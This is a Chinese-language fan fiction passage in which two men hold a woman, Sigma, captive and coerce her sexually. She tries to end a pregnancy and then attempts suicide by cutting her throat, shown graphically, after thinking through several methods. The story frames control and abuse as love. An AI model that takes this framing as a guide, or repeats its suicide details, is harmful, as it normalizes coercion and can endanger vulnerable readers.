那是一个极轻的吻,带着他指尖一样的微凉,却像一道惊雷,劈开了西格玛紧绷的神经。 西格玛的身体僵得像一块冰,连呼吸都忘了,只能眼睁睁看着他缓缓抬眸,紫罗兰色的眼眸近在咫尺,深邃得能将人溺毙。 费奥多尔的目光落在她的粉色眼眸里,清晰地看到了自己的倒影。 一股极致的满足感,顺着四肢百骸缓缓漫开。 他轻轻摩挲着她的脸颊,声音低得像情人间的呢喃,却带着不容错辨的掌控力。 “这样乖的西格玛,我很喜欢。” 话音未落,他的吻便落了下来,像薄雪融在发烫的皮肤上,灼得西格玛浑身一颤。 她攥紧的床单皱成一团凌乱的褶皱,眼底漫开的湿意,一半是深入骨髓的恐惧,一半是身不由己的沉沦。 (删减) 西格玛听见彼此交叠的喘息,粗重的、紊乱的,像暗河汇入深海。 分不清是他步步紧逼的掌控,还是一场裹挟着绝望的双向沉溺。 长夜漫过窗棂,枕畔的呼吸交织着,像暗潮在深海里翻涌不息。 意识回笼时,西格玛正陷在一片带着凉意的温热里。 她的脸颊贴着费奥多尔的衬衫,鼻尖萦绕着他身上淡淡的、像旧书混着雪后空气的气息。 昨夜紧绷的神经彻底支撑不住后,疲惫卷着她坠入了沉眠,不知何时被他圈进了怀里。 费奥多尔的手臂横在她的腰上,力道不算重,却带着不容挣脱的禁锢感,像一条缠紧的蛇,勒得她心口发闷。 晨光透过窗帘缝隙漏进来,在他苍白的手腕上投下细碎的光斑。 西格玛缓缓睁开眼,目光落在自己平坦的小腹上,眼底掠过一丝极淡的遗憾。 一次……还不够吗? 她抿了抿干涩的唇,心底那点微弱的希冀又沉了下去。 或许,多来几次就好了。只要能让这个孩子消失,只要能不让另一个米哈伊尔坠入地狱,就算是再难熬的夜晚,她也能忍下去。 身侧的人动了动,费奥多尔的呼吸拂过她的发顶。 他显然睡得极好,眼底带着一夜安寝后的慵懒,唇角还噙着淡淡的笑意。 那是属于猎物落网后,捕猎者才会有的满足。 费奥多尔没有立刻起身,只是低头,目光落在西格玛略显苍白的脸上,指尖轻轻蹭过她的唇角。 随即,他俯身,落下一个带着清晨凉意的吻。 不算缠绵,却带着十足的占有意味,像在标记一件属于自己的所有物。 “早安,西格玛。” 费奥多尔的声音带着刚睡醒的沙哑,尾音里漫着愉悦的调子。 西格玛没有动,也没有说话。她只是微微垂着眼,长长的睫毛遮住眼底翻涌的情绪,像一尊没有灵魂的人偶,默默接受着这个吻。 唇瓣相触的瞬间,生理性的战栗还是窜过四肢百骸,她攥着床单的指尖蜷缩起来,指甲深深嵌进掌心。 直到费奥多尔起身,穿衣的窸窣声在房间里响起,她才缓缓将手伸进被子里,指尖轻轻覆上小腹。 那里依旧平坦,却能清晰地感受到一丝微弱的搏动,一下,又一下,隔着薄薄的皮肉,敲在她的心上。 像一道无声的宣判,将她重新拖回了绝望的深渊。 —————— 办公时间的安全屋静得只剩下笔尖划过纸张的沙沙声,西格玛正垂着眼核对文件,窗棂外的风雪卷着寒意拍打着玻璃。 突然,一股凛冽的雪气裹挟着熟悉的疯癫气息扑面而来,不等她反应,一双胳膊便从身后猝不及防地搂住了她的腰。 “西格玛~”果戈里的声音带着雪粒般的凉意,贴着她的耳廓响起,尾音拖得长长的,满是戏谑,“一个人待着,不无聊吗?” 西格玛的身体瞬间僵住,脊背绷得笔直,指尖的钢笔险些滑落。 无论多少次,她都无法适应果戈里的触碰。 那带着侵略性的亲昵,像一把随时会划破皮肤的刀,让她生理性的反胃。 她死死攥着钢笔,指节泛白,强迫自己垂下眼眸,压下喉咙口的战栗。 不能躲,不能露出破绽,她需要讨好他,就像讨好费奥多尔那样。 可她不知道该怎么讨好果戈里。费奥多尔喜欢的是她强忍恐惧的顺从,是猎物主动踏入陷阱的乖顺。 可果戈里,他喜欢的是疯癫的拉扯,是猎物挣扎的模样。 他自由得像一阵无拘无束的风,随性又疯狂,心思从来都没有章法,你永远猜不透他下一秒会露出怎样的神情,更摸不准他究竟会被哪一种姿态取悦。 西格玛的大脑飞速运转,忽然想起那些被他强迫的、窒息的夜晚。 果戈里总喜欢捏着她的下巴,逼她抬头,然后带着疯癫的笑意吻下来。 或许,这样就可以。 果戈里原本正享受着她僵硬的反应,下巴惬意地靠在她的肩膀上,银白的辫子垂落下来,扫过她的脖颈,带来一阵微凉的痒意。 他甚至已经想好,接下来要怎么逗弄她,看她眼眶泛红却不敢反抗的样子。 就在这时,西格玛动了。 她深吸一口气,积攒起全身的勇气,猛地回过头。 柔软的唇瓣擦过果戈里的唇角,像一片羽毛轻轻落了一下,短暂得几乎像错觉。 不等果戈里做出任何回应,西格玛便迅速转回头,重新埋首在文件里,背脊绷得笔直,肩膀却控制不住地微微颤抖着。 紧张的热度从脖颈一路烧到耳根,泛起一片明显的薄红,西格玛死死攥着钢笔,指节泛白,连呼吸都下意识地暂停了。 胸腔里的心脏跳得快要炸开,生理性的恐惧顺着脊椎往上爬,让她连眼角的余光都不敢瞥向身后,生怕对上那双翻涌着疯癫的眼眸。 果戈里愣住了。 银白的睫毛颤了颤,环在她腰间的手顿了顿。 随即,他低低地笑了起来。 那笑声起初很轻,像雪粒落在松枝上的细碎声响,渐渐便越来越大,越来越癫狂,带着抑制不住的愉悦,像碎冰撞在玻璃上,清脆又张扬,震得人耳膜发颤。 “哎呀呀……”果戈里拖长了语调,尾音卷着浓重的戏谑,指尖缓缓抬起,摩挲着方才被吻过的唇角,那里似乎还残留着她唇瓣的柔软触感。 眼底的疯癫笑意愈发浓烈,像燃得旺盛的野火,几乎要将那双浅淡的眼眸烧穿,“这可真是个天大的惊喜。” 他原本只想这样抱着她,看她强忍恐惧却不敢挣扎的模样,享受猎物在掌心战栗的快感。 却没想到,这只温顺的小兔子,竟会主动送上这样的“礼物”。 果戈里的兴致瞬间被点燃,他低笑一声,不等西格玛反应,他猛地收紧手臂,将她直接拽进怀里。 西格玛指尖攥着的钢笔“哐当”一声掉落在地面,在寂静的书房里发出清脆的回响。 黑色的斗篷瞬间裹住两人,异能发动的气流卷着雪粒掠过,不过眨眼的功夫,便从书房瞬移到了果戈里的房间。 房门“砰”地一声关上,隔绝了外界的一切声响。 果戈里将西格玛抵在冰冷的门板上,俯身凑近她,眼底翻涌着毫不掩饰的占有欲与疯癫。 他捏着她的下巴,迫使她抬头,指腹摩挲着她颤抖的唇瓣,声音带着蛊惑的沙哑:“这么快的亲吻,怎么够呢?” 话音落下的瞬间,他俯身覆上她的唇。 这个吻带着他一贯的侵略性,蛮横地撬开她的唇齿,像一场狂风骤雨,将她所有的理智与勇气,都碾得粉碎。 深吻结束的瞬间,西格玛猛地偏过头,胸口剧烈起伏着,大口大口地喘着气。 稀薄的空气争先恐后地涌入肺腑,却依旧压不住喉咙里泛起的生理性涩意。 她的唇瓣被吻得泛红,连呼吸都带着颤抖的弧度,眼底漫着一层薄薄的水汽,分不清是窒息的本能反应,还是压抑不住的恐惧。 果戈里就那样垂眸看着她,银白的发丝垂落下来,扫过他线条冷冽的下颌。 他单手撑在冰冷的门板上,指尖无意识地摩挲着粗糙的木纹,眼底翻涌着毫不掩饰的愉悦。 像欣赏着一只被逗弄至极限、却又无处可逃的幼兽。 每一寸战栗,每一次急促的呼吸,都像细小的钩子,挠在他那颗疯癫又躁动的心上,让他感到极致的满足。 果戈里当然猜得到,西格玛突如其来的讨好背后藏着其他的心思。 这只向来怕他怕得要命的小兔子,怎么会突然主动送上亲吻?无非是有所求,或是有所图罢了。 可那又怎么样呢?他一点儿也不在乎她的目的,反倒觉得这样带着算计的温顺,比平日里纯粹的恐惧更有意思。 猎物主动跳进陷阱的模样,总是格外惹人欢心。 “瞧你,喘得这么厉害。” 他低低地笑出声,声音里裹着浓重的戏谑。 指尖顺着她的脖颈缓缓下滑,掠过她绷紧的锁骨,带起一阵细密的战栗。 西格玛的身体控制不住地瑟缩了一下,攥着他斗篷的指尖泛白,指节因为用力而微微发颤。 她不敢抬头,只能死死盯着他胸前的皮肤,那里还沾着窗外带进来的雪粒,融化后晕开一小片湿痕,像极了她此刻眼底的湿意。 果戈里的指尖在她锁骨凹陷处轻轻打了个转,感受到手下肌肤猛地绷紧,他眼底的疯癫笑意更浓了。 “怎么,这就受不了了?”他俯身凑近,温热的气息拂过她泛红的耳廓,声音压得极低,带着蛊惑人心的沙哑,“刚才主动吻我的勇气,去哪儿了?” 他的指尖继续往下游走,掠过她颤抖的肩头,最后停在她的手腕上,轻轻攥住。 西格玛的呼吸一滞,生理性的恐惧瞬间窜遍四肢百骸,可她咬着下唇,硬是没发出一点声音。 她不能躲,更不能逃,这是她为了那个隐秘的目的,必须付出的代价。 果戈里看着她强忍恐惧 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他甚至难得地没有急着做什么,只是这样抱着她,听着她胸腔里急促的心跳,像在把玩一件终于到手的珍宝。 西格玛没有像往常那样瑟缩着躲开,反而抬起头,望向他。 那双粉色的眼眸里盛满了强压下去的恐惧,却硬是撑着没有移开视线,长长的睫毛像蝶翼般轻轻颤抖,惹人怜惜。她死死咬着下唇,唇瓣几乎要渗出血来。 果戈里看着她这副样子,喉间溢出一声低笑。 真是可爱啊。 哪怕眼里藏不住的恐惧,哪怕怕得快要发抖,却还是要逼着自己靠近猎手的模样,真是惹人怜爱,又惹人发疯。 他的指尖轻轻划过西格玛的脸颊,指腹摩挲着她细腻的皮肤,感受着她瞬间绷紧的肌理。 最后,指尖停留在她耳畔,轻轻挑起那枚爪子形状的耳坠,指尖漫不经心地把玩着,眼底的疯癫笑意浓得化不开。 “主动的西格玛小姐,果然更招人喜欢呢。” 果戈里的声音带着蛊惑的沙哑,却没点破那层窗户纸。 就算你抗拒着我又如何,现在拥抱着你的是我,亲吻你的也是我。 现在的你,是属于我的。 果戈里又低低的笑了起来,胸腔的震动透过相贴的肌肤传过来,带着疯癫的震颤,像毒蛇吐信时发出的细碎声响。 西格玛不明白他为什么而笑,也不想知道。 她只是垂着眼,长长的睫毛遮住眼底翻涌的死寂,连呼吸都刻意放得轻缓。 小腹处那点微弱的存在感,此刻成了支撑她的唯一锚点。 此刻,果戈里的重量压在她身上,滚烫的、带着侵略性的体温几乎要将她灼伤,令她无法挣扎,哪怕她原本就不打算挣扎。 西格玛像一尊被剥夺了意志的人偶,四肢僵硬地摊开,任由他在自己的领地上肆意掠夺。 果戈里的手覆上西格玛的手心,骨节分明的指尖强硬地挤进她的指缝,与她十指相扣。 他的动作没有丝毫温柔可言,带着不容抗拒的侵略性,仿佛要将她的手骨生生嵌进自己的掌纹里。 果戈里的掌心带着薄茧,粗糙的触感蹭过西格玛细腻的手心,激起一阵细密的战栗。 可他偏偏要死死扣着,指腹用力摩挲着她冰凉的皮肤,像是要将这片刻的占有,刻进彼此的骨血里,变成一道永不磨灭的烙印。 果戈里低头,目光落在西格玛苍白得近乎透明的脸上。 看她咬着泛白的唇瓣,看她眼底藏不住的恐惧,看她明明怕得发抖,却还要强装镇定的模样。 眼底的笑意愈发浓重,连带着扣着她的手,都收得更紧了些。 骨节相抵的地方传来细微的痛感,那痛楚却像催化剂,让他心底的疯癫与愉悦,都攀至了顶峰。 果戈里感受着怀中躯体的轻颤,那细碎的、抑制不住的战栗透过相贴的肌肤传来,像羽毛轻轻搔刮着他的神经。 心底翻涌的占有欲瞬间化作滔天浪潮,汹涌着漫过理智的堤岸,裹挟着她一同坠入无边的沉沦。 (删减) 浪潮起落间,所有的算计与恐惧都被碾成了浮沫。 (删减) 果戈里轻柔地亲吻着西格玛的唇角。 呼吸纠缠之间,仿若爱侣。 他微微垂眸,长长的睫毛在眼睑下投下一片浅浅的阴影。 那双平日里总是带着戏谑笑意的眼眸,此刻竟奇迹般地褪尽了所有锋芒,眼底翻涌的偏执悄然沉淀,只剩下一片罕见的、近乎笨拙的温柔。 他的目光缱绻得如同缠绕的藤蔓,一寸寸描摹着西格玛泛红的眉眼、微颤的眼睫,甚至是她因呼吸急促而轻颤的唇角。 仿佛在凝视一件失而复得的珍宝,又像是在沉溺一场稍纵即逝、不愿醒来的梦。 西格玛的身体瞬间僵住,指尖无意识地攥紧了身下的床单,指节泛白。 她不敢抬头去迎上那过于灼热的目光,只能任由睫毛剧烈地颤抖着,脸颊烧得滚烫,连呼吸都变得滞涩。 心底的恐惧非但没有消散,反而像藤蔓般越缠越紧,只是此刻她无处可躲,只能被迫直面这份裹挟着温柔的、令人窒息的注视。 当浪潮退去后,房间里只剩下两人略显粗重的呼吸,混杂着窗外隐约的风雪声。 果戈里垂眸看着怀中人,指尖轻轻划过西格玛汗湿的鬓角,将那缕黏在她苍白脸颊上的发丝拨开。 她的眼睫还在微微颤抖,像濒死的蝶翼,唇瓣红肿着,连呼吸都带着一丝脆弱的滞涩。 方才的战栗还残留在她紧绷的肌理里,即便陷入了短暂的失神,也依旧能看出那份深入骨髓的恐惧。 他低低地笑了一声,胸腔的震动透过相贴的肌肤传过去,惹得西格玛又是一阵细微的瑟缩。 果戈里的指尖滑到她的下颌,轻轻抬起,迫使她看向自己。 “真是只乖兔子。”他的声音带着刚褪去情欲的沙哑,眼底却盛着浓得化不开的疯癫与愉悦,“这样的西格玛,可比平日里那副哭丧着脸的样子,可爱多了。” 他俯身,在她泛红的眼角印下一个轻得像羽毛的吻,像在奖赏一件属于自己的玩物。 “下次,也要这样主动啊。” 西格玛不做任何回应,只是静静地靠在果戈里怀中。 从刚刚起,她的腹部就一阵一阵的抽痛,像是有细密的针在里面反复穿刺。 那痛感起初很轻,后来却越来越烈,疼得她浑身发冷,连指尖都开始泛白。 西格玛的意识像是浮在半空中的尘粒,轻飘飘的,抓不住一点实在的东西。 粗重的喘息渐渐平复,西格玛却依旧睁着空洞的眼,望着天花板上晃动的光影,那光影模糊成一片,像极了浴室里氤氲的雾气。 腹部的抽痛陡然加剧,变成了撕裂般的钝痛。 西格玛隐约感觉到,有什么温热黏腻的东西缓缓流出来。 那感觉陌生又熟悉,让她濒临昏迷的意识愈发朦胧。 解脱。 这个念头刚一冒出来,便如藤蔓般缠住了她最后的清明。 西格玛眼前一黑,彻底失去了意识。 深夜的寒意透过窗缝钻进来,果戈里正抱着怀中人睡得沉,却忽然感觉到掌心触到一片湿热。 那黏腻的触感里,还裹着一股令他无比熟悉的血腥味。 他瞬间清醒过来,混沌的睡意被涤荡得一干二净。 果戈里低头看向怀中西格玛,她的脸色苍白得像一张纸,唇瓣毫无血色,连呼吸都微弱得几不可闻。 果戈里的心猛地一沉,一把掀开被子,刺目的红,正从西格玛的□□源源不断地涌出,浸透了洁白的床单,像开了一朵绝望的花。 “啊……” 看看着那片血色,果戈里喉结狠狠滚动了一下,发出一声意味不明的喟叹。 他低头,目光落在西格玛苍白的脸上,那双总是盛满恐惧的眼睛紧闭着,长长的睫毛耷拉着,像折断的蝶翼。 瞬间,他明白了。 明白了她突如其来的热情,明白了她强忍恐惧的主动,明白了那个轻飘飘的吻里,藏着怎样决绝又惨烈的心思。 西格玛苏醒时,正躺在柔软的床上,左手手背上打着滞留针,旁边挂着透明的吊瓶,冰凉的药液顺着血管缓缓流进身体,带来一阵刺骨的冷。 而床边,站着费奥多尔和果戈里。 费奥多尔依旧是那副温淡的模样,紫罗兰色的眼眸深不见底,正似笑非笑地看着她。 果戈里则靠在墙边,银白的发丝垂落下来,遮住了眼底的情绪,却让空气里的压抑气息,愈发浓重。 这个场景太过熟悉,像极了当初她得知自己怀上米哈伊尔时的模样。 西格玛的心猛地往下沉,沉进了冰冷的深渊里。 她察觉到了,察觉到了那个最糟糕的消息。 果戈里最先察觉她的苏醒,或者说在西格玛昏迷后,他的视线就从来没有离开过她。 果戈里伸出手,握住了西格玛没有打针的那只手。 他的掌心依旧带着薄茧,力道却意外的轻柔,像是在安抚一只濒死的幼兽。 “西格玛,”他开口,声音沙哑得厉害,却带着一种近乎愉悦的平静,“你想要我成为你的共犯,一起杀掉我和你的孩子。” 果戈里顿了顿,指尖轻轻摩挲着她冰凉的手背,眼底翻涌着疯癫与占有欲交织的光。 “没关系,我原谅你了。” “我们的孩子会平安降生的,你说对吗?” 这句话像一把重锤,狠狠砸在了西格玛的心上。 她失败了。 这个认知像潮水般将她彻底淹没。 西格玛张了张嘴,很想大哭一场,很想嘶吼着质问,很想将这无边的绝望都倾泻出来。 可她太虚弱了,连呼吸都带着痛感,最终只能发出细碎的、压抑的呜咽,像一只被折断翅膀的鸟,连哭泣都只能这样小心翼翼。 眼泪无声地漫过眼眶,顺着苍白的脸颊滑落,砸在床单上,晕开一小片湿痕。 果戈里的目光被那滴滚落的泪牵住,猩红的眼眸里疯癫的气焰淡了几分,泛起一种近乎偏执的专注。 他依旧握着她的手,微微俯下身,将另一只手抬起,指腹带着薄茧的粗糙触感,轻轻擦过她的脸颊,将那串温热的泪珠尽数拭去。 果戈里的动作很慢,很轻,像是在触碰一件稍一用力就会碎裂的珍宝,指尖甚至还贪恋的,在她泪痕未干的皮肤上游移了一瞬,仿佛在收集那点湿意。 看着她睫毛颤抖着,泪珠却越掉越凶,他非但没恼,嘴角反而勾起一抹混杂着怜惜与疯狂的笑。 果戈里的拇指轻轻按压着她泛红的眼尾,低声呢喃:“别哭啊,西格玛。眼泪一点都不好看。” 西格玛没有回答果戈里的话,也不想回答。 她没有资格做腹中孩子的母亲。 都是她的错……都是她的错…… 对不起…对不起…对不起—— 9. 笼中鸟 从那天以后,费奥多尔和果戈里近乎时刻都守着她,像两道无孔不入的阴影,默契地实行着轮班制。 一个留在房间里,另一个便会消失在安全屋的某个角落,从不会让她有片刻独处的机会。 果戈里从西格玛怀孕的时间里,精准推算出这个孩子是他的。 什么时候和亲爱的西格玛在一起,他记得清清楚楚。 果戈里没有半分即将成为父亲的郑重与实感,只觉得这是一场有趣的闹剧,眼底翻涌着疯癫的笑意。 这个孩子会像米哈伊尔那样,成为一道无形的锁链,那锁链会顺着脐带缠绕,顺着血脉生长,将西格玛和他牢牢绑定。 这种关系是不自由的,但果戈里为此感到愉悦。 没有人提起过那天发生的事,就像一切都没有发生一样,果戈里期待着西格玛腹中的孩子。 哪怕现在西格玛怀孕才三个月,小腹只是微微隆起,根本听不到半点胎动,他也总爱凑过去,将耳朵贴在那片柔软的肌肤上,像听什么稀罕的戏文。 他会故意用下巴蹭蹭她的肚子,发出低低的笑声,银白的发丝扫过她的皮肤,带来一阵微凉的痒意。 西格玛就那样愣愣地躺着,眼神空洞得像蒙了尘的玻璃珠,任由他折腾。 她的体重越来越轻,脸色苍白得几乎透明,连嘴唇都没了血色,整个人像一株被抽走了养分的植物,只剩下一副脆弱的躯壳,木讷得近乎麻木。 轮到费奥多尔守着她的夜里,总会有这样的时刻。 西格玛披着单薄的睡衣,坐在婴儿床前,目光定定地落在熟睡的米哈伊尔脸上。 月光从窗棂漏进来,淌过她毫无血色的脸颊,淌过她无声滑落的眼泪,在她睫毛上凝成细碎的霜。 费奥多尔总是悄无声息地走过去,从身后轻轻抱住她,手臂像蛇的鳞片般缠上她的腰,带着微凉的、不容挣脱的力道。 他会将下巴搁在她的发顶,声音轻得像哄孩子的呢喃,尾音里却裹着一丝不易察觉的怜悯:“可怜的羔羊。” 西格玛从不会反抗,只是任由他将自己搂进怀里,眼泪流得更凶,浸湿了他的衬衫,却连呜咽声都不肯发出来。 她的精神早已在日复一日的囚禁与绝望里,被碾成了摇摇欲坠的碎片。 无数个深夜,西格玛攥着被角,指甲深深嵌进掌心,疯狂地想过自尽。 用碎玻璃划破手腕,或是趁他们不注意,一头撞在冰冷的墙壁上。 她甚至自私地想过,带着米哈伊尔一起死,这样就能彻底挣脱这无边的地狱。 可这个念头刚冒出来,米哈伊尔熟睡的脸庞便会浮现在眼前,让她硬生生掐灭了这丝疯狂。 最后,西格玛只剩下一个卑微的念头——想一个人死掉。 带着肚子里的孩子一起。 至少,能让这个尚未睁眼的生命,不必步她和米哈伊尔的后尘,不必坠入这永无止境的黑暗里。 从那日起,囚笼般的安稳日复一日地碾过西格玛的神经。 她像一朵被抽走了所有生机的玫瑰,在费奥多尔与果戈里轮班看守下,无声地枯萎着。 往日里总是带着慌张的眼眸,此刻只剩下一片空洞的茫然,长长的睫毛垂落时,在眼睑下投下一片淡淡的阴影,衬得肌肤愈发苍白。 她不再挣扎,也不再躲闪,只是安静地躺在床上,双手交叠在腹部,像一只被折断了翅膀的蝶,浑身都透着一种脆弱到极致的病态美感。 既惹人怜惜,又透着几分令人心悸的凋零感。 但要知道,玫瑰虽然美丽,可它长着刺。 这样死寂的平静,终于在一个晚餐时分,被一道藏在掌心的寒光悄然划破。 晚餐时的烛火明明灭灭,映着三人沉默的侧脸。 西格玛垂着眼,指尖不动声色地勾过手边的餐刀,冰凉的金属触感贴着掌心的纹路,让她生出一丝近乎病态的安心。 用餐结束,费奥多尔慢条斯理地擦拭着唇角,目光扫过桌面空缺的一角,修长的指尖轻轻叩了叩桌面。 他当然知道是西格玛顺走了那把刀,紫罗兰色的眼底漾开一丝极淡的涟漪,转瞬便归于平静。 如果她敢用这把刀刺向自己,或是转身捅进果戈里的心脏,他或许会为这只羔羊终于生出的獠牙感到由衷的开心。 可惜,他太了解她了,这只被折断翅膀的羔羊,向来只会将刀刃对准自己。 浴室内的花洒哗哗淌着水,温热的水流裹住西格玛单薄的身体,烫得她皮肤发麻。 这温度太过缱绻,竟让她恍惚想起某种模糊的、属于生命最初的臆想,像羊水包裹着胎儿的柔软。 可这柔软转瞬即逝。 西格玛低头摸了摸自己微微隆起的小腹,隔着薄薄的皮肉,能感受到那丝微弱却执拗的搏动。 西格玛关掉花洒,水珠顺着发梢滴落,在地板上晕开一小片湿痕。 她换上一身纯白的睡裙,裙摆垂到脚踝,纯白无瑕,就像是雪一样。 西格玛攥紧那把餐刀,冰凉的刀尖抵住脖颈处跳动的脉搏。 只要稍一用力,就能彻底挣脱这无边的地狱。 西格玛没有丝毫的犹豫,在抵住脖颈的瞬间,用力往下一抹。 就在刀刃即将划破皮肤的刹那,空间陡然扭曲,带着雪气的风卷着斗篷的黑影袭来。 果戈里的声音带着惊破平静的疯癫,从身后响起:“哎呀呀,这可不行。” 他一只手稳稳搂住她的腰,带着不容挣脱的力道,另一只手则精准地攥住了她握刀的手腕。 几乎是同一时间,浴室的门被轻轻推开,费奥多尔站在门口,紫罗兰色的眼眸里盛着近乎怜悯的光,静静望着她。 就是那样的目光,像一根刺,狠狠扎进了西格玛早已麻木的神经里。 西格玛的力气其实一直都很大,在沙漠的囚笼里,有好几次逃脱,她都是硬生生凭着蛮力挣断了手铐。 只是她清楚,在费奥多尔和果戈里面前,反抗从来都是徒劳,所以才从不挣扎。 可此刻,那怜悯的目光激起了西格玛心底最深处的、连自己都未曾察觉的不甘。 不甘心自己被人利用的“宿命”,不甘心被玩弄,不甘心被掌控。 ……不甘心,连选择死亡的权利都没有。 西格玛猛地发力,手腕狠狠一拧,竟然挣脱了果戈里的束缚。 寒光闪过,刀刃划破脖颈的皮肤,温热的血液瞬间喷涌而出,溅在纯白的睡裙上,晕开一朵朵妖冶的红梅。 那坚决的一刀,用的力度极大,近乎要将她的喉管也割开。 费奥多尔瞳孔微缩,脸上的平静终于裂开一道缝隙。 他确实没料到,西格玛竟然能挣脱果戈里的束缚。 计划脱离了掌控,费奥多尔眼底的怜悯被沉凝取代,周身的气压骤然降低。 他绝不会让西格玛离开他,哪怕是死亡,也不行。 果戈里的瞳孔猛地收缩,疯癫的笑意瞬间消失殆尽。 他几乎是下意识地扑上去,手掌死死捂住西格玛脖颈的伤口,温热的血液从指缝间汩汩涌出,烫得他指尖发颤。 西格玛尝到了满嘴的腥甜,血液涌进喉咙,呛得她咳出几口血沫。 她看着费奥多尔骤然沉下来的脸,看着果戈里眼底从未有过的慌乱,忽然露出了一抹极淡的、近乎解脱的浅笑。 这是她第一次,在他们眼中看到失控。 西格玛闭上眼,意识渐渐模糊。 她终于看到了,看到费奥多尔那盘稳赢的棋局,出现了一丝裂痕。 她心满意足。 西格玛想,就这样迎接死亡,也挺好。 濒死的黑暗里,她仿佛看到了米哈伊尔的脸,那个小小的、软软的孩子,正睁着清澈的眼睛看着她。 西格玛的心底涌上一阵尖锐的痛意。 对不起,对不起…… 道歉的碎语还在意识里震颤,那些关于孩子的鲜活画面,便开始一寸寸褪色、消融。 意识消散前,西格玛在心里一遍遍地默念。 她终究,还是没能成为一个合格的母亲。 这句话落下的瞬间,残存的清明便如潮水般退去。 意识逐渐被一点点剥离,最后化作一片无边无际的空白。 就像是坠入深不见底的深海。 周身是冰冷黏稠的黑暗,无尽的坠落冰冷之中。 又像是被厚重的尘土层层掩埋。 所有的念想、所有的遗憾,都在窒息般的沉寂里,缓缓沉向虚无的尽头。 再次醒来时,西格玛依旧躺在那张熟悉的床上。 她终究没有走到她所想走到的尽头。 失血过多的无力感,像潮水般淹没她的四肢,她连抬起一根手指的力气都没有,可脖颈处却丝毫没有痛感,只有一片微凉的触感。 西格玛的意识还沉浮在混沌的边缘,眼睫几不可察地翕动着,拼尽最后一丝力气掀开沉重的眼皮。 视线先是一片模糊的光晕,那些光影在她眼前晃荡、游移,直到缓缓沉淀、清晰。 映入眼帘的,是果戈里和费奥多尔的身影,是她最不想见到的两人。 果戈里和费奥多尔怎么会不注意到她轻轻颤动的眼睫呢? 两人自她昏迷起就一直守在她的身边,目光没有移开过片刻,她那点微弱的动静,早被他们收入眼底。 床的两侧,果戈里和费奥多尔一左一右地坐着,像两尊沉默的石像。 果戈里率先伸出手,握住了她冰凉的指尖。他带着薄茧的掌心,有着温热的触感,却让她本就寒冷的身体,愈发冷得刺骨。 几乎是同时,费奥多尔也握住了她的另一只手。他的手带着微凉的触感,就像是像毒蛇的信子缠上来,带着不容挣脱的黏腻力道。 两只手,像两道冰冷的镣铐,将她牢牢锁在中间。 西格玛想要挣扎,可身体里的力气早已被抽干,连动一下指尖都做不到。 果戈里先开了口,声音里的疯癫敛去了大半,带着一丝说不清道不明的意味:“如果不是抢救及时,恰好有治疗系的异能者在附近,西格玛,你现在就死了。” 西格玛的眼睫颤了颤。 她心想,我恨不得我死了。 可这句话,她连说出来的力气都没有。 费奥多尔静静的望着面色苍白的西格玛,看着她的眼睫颤了颤,如同垂死的蝶翼。 ‘垂死’。 费奥多尔已经见过西格玛垂死的模样了。 比起计划脱离掌控,在那一刻,他想的是西格玛不能离开他,哪怕是死亡,也不行。 自己好像,有点过于投入了。 但此刻,费奥多尔望着西格玛那双含着泪光的淡粉色眼眸。 你是如此纯洁无垢的存在,理应得到偏爱。 费奥多尔微微俯身,温热的呼吸拂过西格玛的发顶。 他的声音轻得像叹息,语调柔软得近乎缱绻:“西格玛,为什么要这么伤害爱你的人呢?” 爱? 西格玛的眼底掠过一丝茫然。 什么是爱? 他们对自己的伤害是爱吗?那日复一日的痛苦,也是因为爱吗? 这个词从费奥多尔口中说出来,带着一种荒谬的讽刺。 她的目光缓缓扫过床头的吊瓶,又落在自己被两人牵着的手腕上,那里还残留着镣铐般的凉意。 那些被囚禁的日夜,那些被强迫的顺从,那些浸着恐惧与屈辱的触碰,难道都要被冠以“爱”的名义吗? 西格玛的指尖微微蜷缩,却连一丝力气都使不出来。 费奥多尔像是看穿了她的心思,缓缓松开手,转身抱起了一旁婴儿床里的米哈伊尔。 小家伙睡得正香,粉雕玉琢的小脸上,还带着浅浅的笑意。 “米哈伊尔还这么小,”费奥多尔的声音轻飘飘的,却精准地戳中了西格玛最柔软的软肋,“他不能没有母亲。” 这句话像一把钥匙,打开了西格玛决堤的泪水。 眼泪毫无预兆地涌了出来,顺着苍白的脸颊滑落,砸在枕头上,晕开一小片湿痕。 是啊。 她唯一放不下的,只有米哈伊尔。 在这个地狱里,唯一给过她一丝暖意的孩子。 然而,是她亲手将米哈伊尔带到了这个地狱里。 如今,还要连带着腹中这个尚未成形的孩子,一同困在这片暗无天日的囚笼中。 西格玛闭了闭眼,滚烫的泪水顺着眼角滑落,渗进枕套里,晕开一片苦涩的湿痕。 她是个罪人,是她把无辜的孩子拖进了这滩泥沼。 费奥多尔垂眸看着她无声落泪的模样,紫罗兰色的眼底掠过一丝几不可察的满意。 果然,她最在意的还是米哈伊尔。 这个软肋,被他拿捏得恰到好处。当初放任她生下米哈伊尔,真是个再明智不过的决定。 这根无形的锁链,能将她牢牢捆在自己身边,永远无法逃离。 我亲爱的西格玛,不要想着离开我。 费奥多尔的指尖轻轻摩挲着掌心,唇角勾起一抹极淡的笑意。 一旁的果戈里,难得没有挂着那副疯癫张扬的笑。 他只是安静地坐着,目光落在西格玛苍白的脸上,眼底翻涌着复杂的情绪。 那日浴室里,西格玛脖颈的鲜血喷涌而出,溅在他手背上的温热触感,还有那瞬间攫住心脏的恐慌,他至今记忆犹新。 那是一种从未有过的慌乱,比任何一场惊险的游戏都要让他心悸。 不知从何时起,西格玛在他心中占据的地方,早已不止于“乐趣”和“猎物”。 她像一颗意外坠落的星子,在他混沌疯癫的世界里,劈开了一道独特的光。 她不再是供他把玩的玩偶,而是一个独一无二的存在。 他好像,真的喜欢上西格玛了。 并非是一场追逐猎物的游戏,也不是一时兴起的消遣。 而是那种,看到她落泪会心烦,看到她濒死会恐慌的,真切的在意。 果戈里微微歪头,指尖无意识地蜷缩起来,指节泛白,仿佛在抗拒着什么,又像是在紧紧攥着什么。 心底有两股力量在疯狂撕扯,几乎要将他的理智撕裂。 果戈里一生崇尚自由,追逐自由。 常识、道德、法律,那些世人奉为圭臬的条条框框,在他眼里都是束缚自由的枷锁,是可笑的桎梏。 所以果戈里向来不遗余力地去打破它们,活得张扬又疯癫,不受任何规则牵绊。 过去的他,向来将感情视作最可笑的枷锁,是捆缚羽翼的绳索,是让自由之魂坠入泥潭的元凶。 果戈里曾嗤笑那些被情爱困住的人,觉得他们愚蠢又可悲,为了一个人甘愿画地为牢,放弃了整片天空。 可此刻,看着西格玛安静的侧脸,他忽然生出了不一样的念头。 爱情或许也是一种自由。 